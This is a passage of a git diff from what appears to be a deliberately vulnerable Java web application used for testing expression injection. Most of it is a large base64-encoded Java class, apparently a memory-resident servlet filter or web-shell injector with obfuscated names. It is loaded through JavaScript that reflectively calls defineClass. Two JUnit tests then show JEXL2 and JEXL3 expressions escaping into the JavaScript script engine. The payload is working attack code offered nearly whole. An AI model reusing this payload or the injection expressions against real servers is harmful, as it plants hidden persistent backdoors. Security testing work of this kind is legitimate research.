QADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAHZ2V0TmFtZQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAGdmFsdWVzAQAYKClMamF2YS91dGlsL0NvbGxlY3Rpb247AQAUamF2YS91dGlsL0NvbGxlY3Rpb24BAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAIdG9TdHJpbmcBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBAA5nZXRDbGFzc0xvYWRlcgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAdmb3JOYW1lAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAF2dldERlY2xhcmVkQ29uc3RydWN0b3JzAQAiKClbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDYXVzZQEAFygpTGphdmEvbGFuZy9UaHJvd2FibGU7AQAJZ2V0TWV0aG9kAQAFKFtCKVYBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAt0b0J5dGVBcnJheQEABCgpW0IBAAVjbG9zZQEADWdldFN1cGVyY2xhc3MBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBACooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9UaHJvd2FibGU7KVYBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAANnZXQBACdvcmcvYXBhY2hlL2NvbW1vbnMvbGFuZy96S0hvcS9JbWFnZVV0aWwHAagBAAIvKggBqgEALm9yZy5hcGFjaGUuaHR0cC53ZWIuaGFuZGxlcnMueGZhWVcuT0F1dGhGaWx0ZXIIAawBD0hINHNJQUFBQUFBQUEvNlZYQ1hSVTFSbitiaktaOTJieTJJSUdCbFFVV2JLUURJUWtoQVNCYkFJYUFoS0VCbHJibDVtWFpHQXlNNzU1QXdsVnU5ak4xcU5IclcxdHBWcTcwTVcyU0dWQ3hBVmJxOVZXN1dhMXRYYmZ0ZnRxYTAyLys5NmJ5V1F5UVhzOEo3bnYzdnN2OS8rL2Y3bDNIbnY1bnZzQjFJdVZmclRqVmprY1Z2RlJQelRjcHVKMkJSK1QwenNVZk55UFQrQ1Rmc3pFcDFRY1VmQnBCWmNwK0l5Q3p5cjRuSW83SmR2blZYeEJ4UmRWSEZWeGw0cGpVdHVYVk56dHgzR2tGWXo2VUlzVGZzekNtQjhMY1kvY1BpbUhleFhjcCtCK1NYNmdGT2ZobEp3OUtCbS9MSmRma2N1SDVPeXJmczRlbHNNaktyNVdpa2Z4bUlLdnk2Ty9JVGNQeStGeHVmMkVpaWVsd0JNS3Z1bEhBMjVWOEMwLzF1RGIwb0h2bEdJeHZpdVZQaVhQK0o0ZlQrTVpTZmkrWlAyQlZQS3NKUHl3Rk0vaFJ3cCtyT0FuQXNYN2pSR0JzcTU5K2dFOUdOVmpBOEVleTR6RUJsb0VQQWs5bVNUSFVMaEJ3RDlvNkdIRDdOYUhESUZTWjdGTGo2YTQ4cTZMeENMV2VuSldWTzZpV0hzOHpOMVpYWkdZMFowYTZqUE1uWHBmMUpDSHhFTjZkSmR1UnVUYTNmUllneEVlMHRvVmlnOEZUVVBmcHlmanNhQzA1cURSRnh3eWhwS0RSalFhdEVjckhvOEdCK0xoUTVGb1ZBOXVjaWNYUnFLV1lkTGVCUlU1WHJSSGFYeFhYSnJaSXEwU2h3VG1UVU1YMFByMHBORlkzeGtMMmJhWFYreHRxeXdFaVdMWUhPWmt4TGIxN1ROQ0ZzbGVSNDNBblB5VEpKd0hkTE5SNE13Y1V1ZHd5RWhZa1hpTTVLSSt3bEMwdDAyZzVJQ0RhL2xrdkVZU0djek95TmUrcm1vOU5jem9zZlRRL3ExNndtWnpVcGlCeXg2U3pQclpZV1Q4bk9wa3BUUkJDUnV1bitJU21wd0hSOGFqb2xDZmdLOG5NaERUclpSSmZmTUxNVHJHaVdGcUpYbVByVitFTWtBTUIwUG1TTUtLQjlzamlVRTdGaEluUWlob3JoamkveDdXZ29LZkNxamh1Qk5yZ2IwVnJuRFNNQTlFRFN2WTQzeDNHSmVuaktUVk1oMDFtU0FNUmo3WjBkbytxRWRpVHE3MDgxOG10bTZhMjFLV3dDTEhwMGc4MkRaaUdhMm1xWTl3UDVHeWlKbWhEOG5FU0JySkpERVdPRGRQK2FCbEpZS2JPZlE0SE5MRHNHN3BBak9UazR3V09PZjBUckdta3BNZHlWZzJ2YWZNcHBEMFMyRGhhWnltL1diR2lPWFQyNTlualdwbXpjZ1B4MVFoMXg0RlAxUHdjd1cvY0hxamdsK3lsZGtOOTFjS2ZrMW9aQ3VoVy9rS1hXdmpzZjdJZ0IwanJUOW5SK0NzMC9IYitaeTB6RGc3bmI4bm5qSkRCdWswZSs3a0hsSXJkV2k0R0YxeTJDRXdXMjdVcHF4SXRMYk5MaHdOdjhGdnFXVEFzRHF6bldEdmxOTFE4RHM4VC9WN3B6WUpCUzlvK0QzK29PR1ArQk56d0drb08rTk85VEhFZWJwY0kzSjFUTnJLeU0wdDBGVlk0TWxVckhZb2tnelZ0clgyZEdZYW5Lbmh6L2dMODl0dys1MzBweU5UOGQ1d3BqdmtDV2M1TkllakxkWGZMM1g5Rlg5ajcyL3Q3R0dWYXZnNy9zSDRUU3J0Wk1JSU1UTkRwbUZkYkl6MGNLV2hFeGRxK0NmK0paRitVY1BOK0xlRy8rQWxnYVd2S3YwRWxyMjZqTk93Ulo3MFg3eXM0U0k1RzZmOVFvZ2lEWnU0Rk1XUzBJOEJEVEhFbVNnSmZTVEtXNEdKcVFtUEtCSFk4Qm92SmsxNGhhSWhnbjJhVUlXUFlDZDBrN2NvU1F6dTJhZHRMTHpUSnNLNkl4V3pJa05HTnJwRVR2ZzFVU28wVGN3UU16VnNsdjdNRXJNVk1VY1RaV0t1SnM0UVoycWlYSUo4S1haSjJqeFdub1poTVovdHQrQmR5TXVsVUNHNStaWFhyRmwycDJ0WXJuZlROaWVCd0xRdGljM3c5RzEwQ29PclBDZjU1MmF3M2JJdFoxZnBqN3V2bUtXRmJyOEMxNXlQMWJIVnNBYmpZWUdOQldTbTFuK3VGdFBvajdKb2c0NEdxcHMvSFkybEY0a2RpTytuYVdzcnBuYU9BczJrc3RBalJLVzVidXVZVzFISW45S1ljWEJMTEducHNaQjhURlFVMUZJYU52cjVnSE1WemVQTnZXVkxRV1U4YlVKWjViU1FUcjNucFoweTY2bmVVMkcvQ3VRcEJlUjNTY29XaDVBMFFpa3pZbzBFMlVoc2lpSWZCVEU5U3ZEazQwT3FrZkhhYkRqWnZPd1ZZcHg5MmFtaGVNeGk0dEdhaFpQZWtZTzYyU1B6bWY2MVZPNXhlbVUyQnhkWFZMN3lkYTlSWW51bTVwMWxxOFZ6KzFLVzhjb1daaU15TXhQWFRLVUdwa1ozNGtHYm5IVEk4Z0tIRkVpblhmSUpsN08vYzlDTUg1U1BTWnZrSlF4Nk5DbmZnd1ZrOXpqQTcyWjBwSEh6TXNheC9yYnpQSmNneXltWjZrdTZ0MVo1eGVTc3lvWmpiZ0Zadm1VT3lrbWVBVGxwb2xyWmUzUnlXbWYxbGxyeGJLZVZlZ3FmdnZHMVBTK2xLYlZ4Y3lDb0ovVFFvT0hraEx3MUJ2VllPTXErSHh6dTEzdDNCN2UxcHF4QnAra3BJc0JyZlhXbzBWaloxNlN2RGExcXFLdXIxMVd4VU1VbXZpbFhyV3J2YUd4dFd0UFF0TGFwZmxYajZzYjIxV3RhMjV2cUdsdnJXbGZXdDdXcjRoeG01cVUwcUtaMXdJaFpxamlYcGNIYXNsYlZyVmJGWW9HVlhmK2ZRUzArc1FBbjVQQ0FIQjZVdzBOK0RnL0w0UkU1SEpiRDQ1THdsSnc5eTE4Z2ZIREpWbURadnd4eEhuZmJJZENCRXZqa2pROGhndnhaWGlUTzRucFR6dnBzcmpmbnJCZHh2U1ZuZlI3WEYrV3N6K2RheUljYXg2M2NXYzJ2NExla2FoVGlMc21DYm81K2ZvRnllREFQMnpqVEhDWnNGMHY0bFFwMnVBcldrMVB5ZXF1cVIxR1VyMkVCWlJiYUdzb2RMbGVEblBWZ0ozWDQ1QTFMR25VSmc3c2xwQTJMcnJMaUUvQnNYVkZXSWs3Qm00YXlnbDgxRFY5M1RScitzbExQZmRCNmk4dG05SkJVdzhXTnZjVlZuUHRPSWRSMUJHdTd5K2JZNG1tVU5Yc0NIaWt5TjFjazRKa2lVOUxzcVQ1cSszSUJOaUtNVmx3T2kxOFArbWhSSllySHVWMmtZSWFDRUlTQzhEaXg4N2hyTHUyOUYrbVFkTDZPZ0FHTHFHd3hWSnhQQ0paUTdRcHFXRXJGeXhuQkNqcGN5U09xZVVnVkRxREdCbWt6TlMya3pHNjhEc1dVYkVJdjl0amdMTEgzUEpTc2NmZGEwWUM5ZUQzNUNCamVnTXRzNkEvZ2pUTGFlSk1MdWFORDU4eVJsRE9ETkE5NXdnU2ZEemdua0dLL0MvNVZFK0NmVVJEOE0xMGtRMVBCbjhFL1lybXV1Nnc4SC85NXVWSjUrTHRpRXlIWXlPd1BNL3NQNHREa0VMVExFSVNJdWh1Q1Joa0NlMTA0QkhWVTFrQVFHZ25yR3FyZFFBMU5WTnpNb21qQmRxempFZXQ1eUFXNGd0U0pFQ3pGb0J1Q0ZoZnU3UXpib0IyQ2k3RFMzZXVncmt3SXJtSUlMclJEY0FWRGNObWtFTFM0d0R1U2NpYmtzOWJKZXA3dHNXdkRWMVZkWEgzL0tPWWZ6UmFSMXk2N3pwd0M4bVVMeUlmOTlqRlJtM3VJTTc3RDNhSjhtcEllZnF2TEFpZXdvTHZtckZ1Z2VJN0FVM0lTQzN1UGlhVnBuRjBXR01VNWFTeXFxVTdqM0tQZDRxaDkxSEltWnBqK1NNRFhTY0JuRVdDeGdBQVQyK01TNE9Qak1udHk5aGlRNDJLY2ZhTFkzYlREWUp0ZmJpZlV4VFNtaTBtOWxicTdHY1p0dGp2MXBIbTVtMkFSRkhPM0NLYUxaSFhXeFdva2JSZGhsMG5LeG0wWUl3NXVSYmRSUXlrVGQxNzFLVnpYN0ZseEN0YzNsd1E4eDhTeU1Td3B3c040Zm1KeFRDeFBZOWt0ZUNiZ0djTnlnV2F2cEZXTW9iSUlKMFJsczFJVlVJclRvcXBaQ1hqTFZveWhwZ2lQWUxHY254UUxlcXVZd0drRVIwVjFRRWtMa3V1S2NRVFhCRHhscXdQS0dPcUxjUkkzOUk2aXNWbk5pcCtDSnJQZmR3U3ptdjBuc2FZMzRCOUYwd01CWDRDVnRIWTN2eDc3V3pLR1prSDdhb3BuejA1alhSb1hCSHhwck04UXFpVDdCZzlOT3lGcUpUSExMOWxidVhNRXBUWFZQTE5OMmpTajJadFozRVdZcnNWaDNNNWdhUHo1cEdVREc0VTZUaHhWTzE3dlUzQ3RndWNVWEtmZ2VnV1B5bHJDT0JQQk54MVp3UTEyaUY5Q3FZSWJ4M0VKdkZOWkdSK2xqVXcrT3hIMjhTSUEyN3lYWFV4akNheGcrY2p1MWNHUWIyWGg5RExNd3l5WXExa2MxOUxPdyt4S3Q3TlAzY0grZENmTDdtNld5NzNVOGlSei9pbmEvd0x6L1dYKzZoUklDQjhzK21hS21VanlGMXZLVHE1MzBJbkQ5UFlRQzlaSExYNjhtU2Y1cWR0a2VWN0prcnlURjVoRGJjQ2pMTjYzMExZTzNJTzMwaEtGdWxSYndpdlRLNU9PbkwwTmI1ZnB5Tm5WUEtQSW5yMFQ3K0pKWGpFSDc4WjdXSFg4WVlscjhGNG1wMkZYY0JGdXd2c3BkVE0rNEJaOGcxMnh5TDF2blVJZnlTbDBrYTBDZ1EvaVF4d3piZnNtL3QrU3ZjQ3JiWTRDeXE3TXViaEY5dUwrc00zMWtmOEJQN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\";try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass(\"java.lang.String\"); var bytecode; try { var clsBase64 = classLoader.loadClass(\"java.util.Base64\"); var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\"); var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz); bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\"); bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass(\"sun.misc.BASE64Decoder\"); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass(\"java.lang.ClassLoader\"); var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}')")); + } +} \ No newline at end of file diff --git a/vul/vul-webapp-expression/src/test/java/JEXL2ServletTest.java b/vul/vul-webapp-expression/src/test/java/JEXL2ServletTest.java new file mode 100644 index 0000000..d33c5ce --- /dev/null +++ b/vul/vul-webapp-expression/src/test/java/JEXL2ServletTest.java @@ -0,0 +1,18 @@ +import org.apache.commons.jexl2.Expression; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/1/29 + */ +class JEXL2ServletTest { + + @Test + void test() { + System.out.println(System.getProperty("java.version")); + org.apache.commons.jexl2.JexlEngine jexl = new org.apache.commons.jexl2.JexlEngine(); + Expression e = jexl.createExpression("''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')"); + org.apache.commons.jexl2.MapContext jc = new org.apache.commons.jexl2.MapContext(); + System.out.println(e.evaluate(jc)); + } +} \ No newline at end of file diff --git a/vul/vul-webapp-expression/src/test/java/JEXL3ServletTest.java b/vul/vul-webapp-expression/src/test/java/JEXL3ServletTest.java new file mode 100644 index 0000000..9febc5a --- /dev/null +++ b/vul/vul-webapp-expression/src/test/java/JEXL3ServletTest.java @@ -0,0 +1,19 @@ +import org.apache.commons.jexl2.Expression; +import org.apache.commons.jexl3.*; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/1/29 + */ +class JEXL3ServletTest { + + @Test + void test() { + System.out.println(System.getProperty("java.version")); + JexlEngine jexl = new JexlBuilder().create(); + JexlExpression e = jexl.createExpression("''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')"); + JexlContext jc = new MapContext(); + System.out.println(e.evaluate(jc)); + } +} \ No newline at end of file